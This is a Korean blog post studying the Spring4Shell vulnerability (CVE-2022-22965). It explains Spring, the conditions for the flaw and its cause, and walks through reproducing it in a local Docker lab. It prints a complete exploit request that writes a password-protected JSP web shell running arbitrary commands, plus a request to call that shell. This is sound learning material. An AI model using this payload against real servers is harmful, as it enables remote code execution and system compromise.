취약점이 나오는 환경은 까다롭지만 사용은 쉬운 Spring4shell 취약점에 대해서 알아보자.

해당 취약점은 Spring Core에서 RCE가 가능한 취약점이다.

Spring 에서 발생하는데 Spring에 대해서 아는 게 하나도 없어서 처음부터 공부를 했다.

 

 

1. Spring Framework

Spring Framework?
Spring Framework란 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크이다.

 

사람들이 spring을 부를 때 spring 프레임워크라고 부른다.

그래서 프레임워크를 먼저 알지 못하면 spring에 대해 이해하지 못하기에 framework에 대해 먼저 알아보았다.


1.1 Framework

Framework 란 소프트웨어의 특정 문제를 해결하기 위해서 상호 협력하는 클래스와 인터페이스의 집합이다.

이렇게 말하면 이해가 잘 안될수도 있어서 라이브러리랑 비교를 하면서 이해해보자.

 

쉽게 말해 프레임워크는 라이브러리를 포함하고 있는 개념이다.

라이브러리는 단순활용 가능한 도구를 모아놓은 도구 상자 느낌이고 프레임워크는 뼈대와 기반에 도구까지 가지고 있는 컨테이너 창고 느낌이다.

 

웹 애플리케이션 개발을 할 때 개발자가 구조나 틀을 만든 후 라이브러리를 불러와서 개발할 수도 있지만 프레임워크는 이미 만들어져 있는 틀 안에서 개발자는 코드만 짜면 되기 때문에 간편하다.


따라서 spring framework는 웹 애플리케이션을 쉽게 개발하게 해주는 프레임워크 중 하나라고 생각하면 되겠다.

 

 

 

2. 취약점 발생 조건

앞서 취약점이 발생하기 힘들다고 했는데 이 취약점이 발생하려면 아래 조건을 모두 만족해야 한다.

 

1. 아파치 톰캣 환경 사용

2. 애플리케이션을 war 파일로 배포

3. 자바 개발자 키트(JDK) 9 이상 사용

4. Spring MVC 또는 Spring WebFlux 사용

5. 스프링 프레임워크 5.3.0~5.3.17 버전 또는 5.2.0~5.2.19 버전 사용

 

여기서 궁금한 점이 생겨서 알아보았다.


2.1 애플리케이션 war 파일 배포

프레임워크는 도커처럼 프로젝트를 만들어 놓고 배포하여 바로 적용할 수 있는 장점이 있다.

배포 형식으로는. war와. jar 가 있는데 Spring에서 가이드하는 표준은. jar이다.

그렇기에 발생 조건이 어렵다고 하는 이유 중 하나가. war 파일로 배포되어 있어야 하는 조건이다.

. war와. jar는 큰 차이가 없지만. jar가. war를 포함하는 개념이다.

자세한 내용은 출처를 참고.

 

 

2.2 Spring MVC 또는 Spring WebFlux 사용

Spring MVC 나 Spring WebFlux 은 둘 다 웹 모듈인데 WebFlux가 MVC의 상위 호환으로 나온 모듈이다.

 

 

그림을 보면 MVC는 서블릿을 사용하고 WebFlux는 리액티브를 사용한다.

WebFlux 가 MVC 상위 호환이라고 이야기하는 이유는  Asynchronous non-blocking 방식을 사용하기 때문이다.

non-blocking 방식이란 어떤 스레드에서 오류가 발생하거나 멈추었을 때 다른 스레드에게 영향을 끼치지 않도록 만드는 방법이다. 이 방식을 사용하는 이유는 더 적은 스레드와 더 적은 하드웨어 리소스로 동시성 문제(concurrency)를 non-blocking 웹 스택 방식으로 해결할 수 있기 때문이다. 하지만 이 방식을 MVC 에선 지원 안 하지 않는다.

 

정확히 말해서 지원을 안 하는 것은 아니다. MVC 서블릿에서 non-blocking방식으로 코드를 짤 수 있지만 blocking 방식으로 되는 메소드들이 남아있어 실수로 blocking API를 호출할 수 있는 위험이 있기 때문에 설계 상 비동기로 설계되어 있는 WebFlux를 사용하는 것이다.


관련 내용이 더 있지만 우리는 우선 발생 조건을 이해하기 위해 알아본 것이므로 여기까지만 알아도 이해가 가능하다.

 

 

 

3. 취약점 원인

spring4shell은 Apache Tomcat log를 관리하는 AccessLogValve 클래스에 접근이 가능하여 access_log 대신 WebShell이 저장되게 하는 취약점이다. log4j와 이름이 비슷한 이유가 비슷하게 로그를 이용하기 때문이다.

 

 

 

4. 공격 방법

조건 맞추기는 어려운 대신에 공격 방법은 쉽다.

우선 spring 프레임워크를 사용하는 것을 알았다면 아래와 같은 poc를 써보자

GET /?class.module.classLoader.DefaultAssertionStatus=nonsense HTTP/1.1
Host: localhost
HTTP/1.1 400
Content-Type: application/json
Connection: close

만일 400 에러가 나온다면 해당 취약점이 있다고 판단한다.

 

 

> poc

1.

POST / HTTP/1.1
Host: localhost
suffix: %>//
c1: Runtime
c2: <%

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22password%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2.

GET /tomcatwar.jsp?pwd=password&cmd=<YOUR-COMMAND> HTTP/1.1
Host: localhost

 

 

 

5. 취약점 재현

https://github.com/reznok/Spring4Shell-POC

 

GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit

Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit - GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit

github.com

 

1. 해당 github에서 zip 파일 다운로드

2. 도커 파일 빌드 후 실행 ( 도커 파일 사용방법 : https://mise.tistory.com/58 )

docker build . -t spring4shell && docker run -p 8080:8080 spring4shell

3. http://localhost:8080/helloworld/greeting 에서 위의 poc 사용하거나 아래 exploit 사용 

python exploit.py --url "http://localhost:8080/helloworld/greeting"

4. 취약 확인

* 파일 생성 경로 : /usr/local/tomcat/webapps/ROOT/shell.jsp

 

 

출처 : 

- 프레임워크란?

https://steady-coding.tistory.com/457

 

- 프레임워크. war. jar 비교

https://hye0-log.tistory.com/27

 

- spring webflux

https://kkwonsy.tistory.com/31

 

- webflux vs MVC 

https://hadev.tistory.com/29

 

- poc

https://www.hahwul.com/2022/04/05/spring4shell/

 

- 취약점 재현

https://github.com/reznok/Spring4Shell-POC

 

- 설명 잘해놓음

http://www.igloosec.co.kr/BLOG_Spring4Shell(CVE-2022-22965)%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%9B%90%EC%9D%B8%EB%B6%84%EC%84%9D%20%EB%B0%8F%20%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88%20?bbsCateId=49

복사했습니다!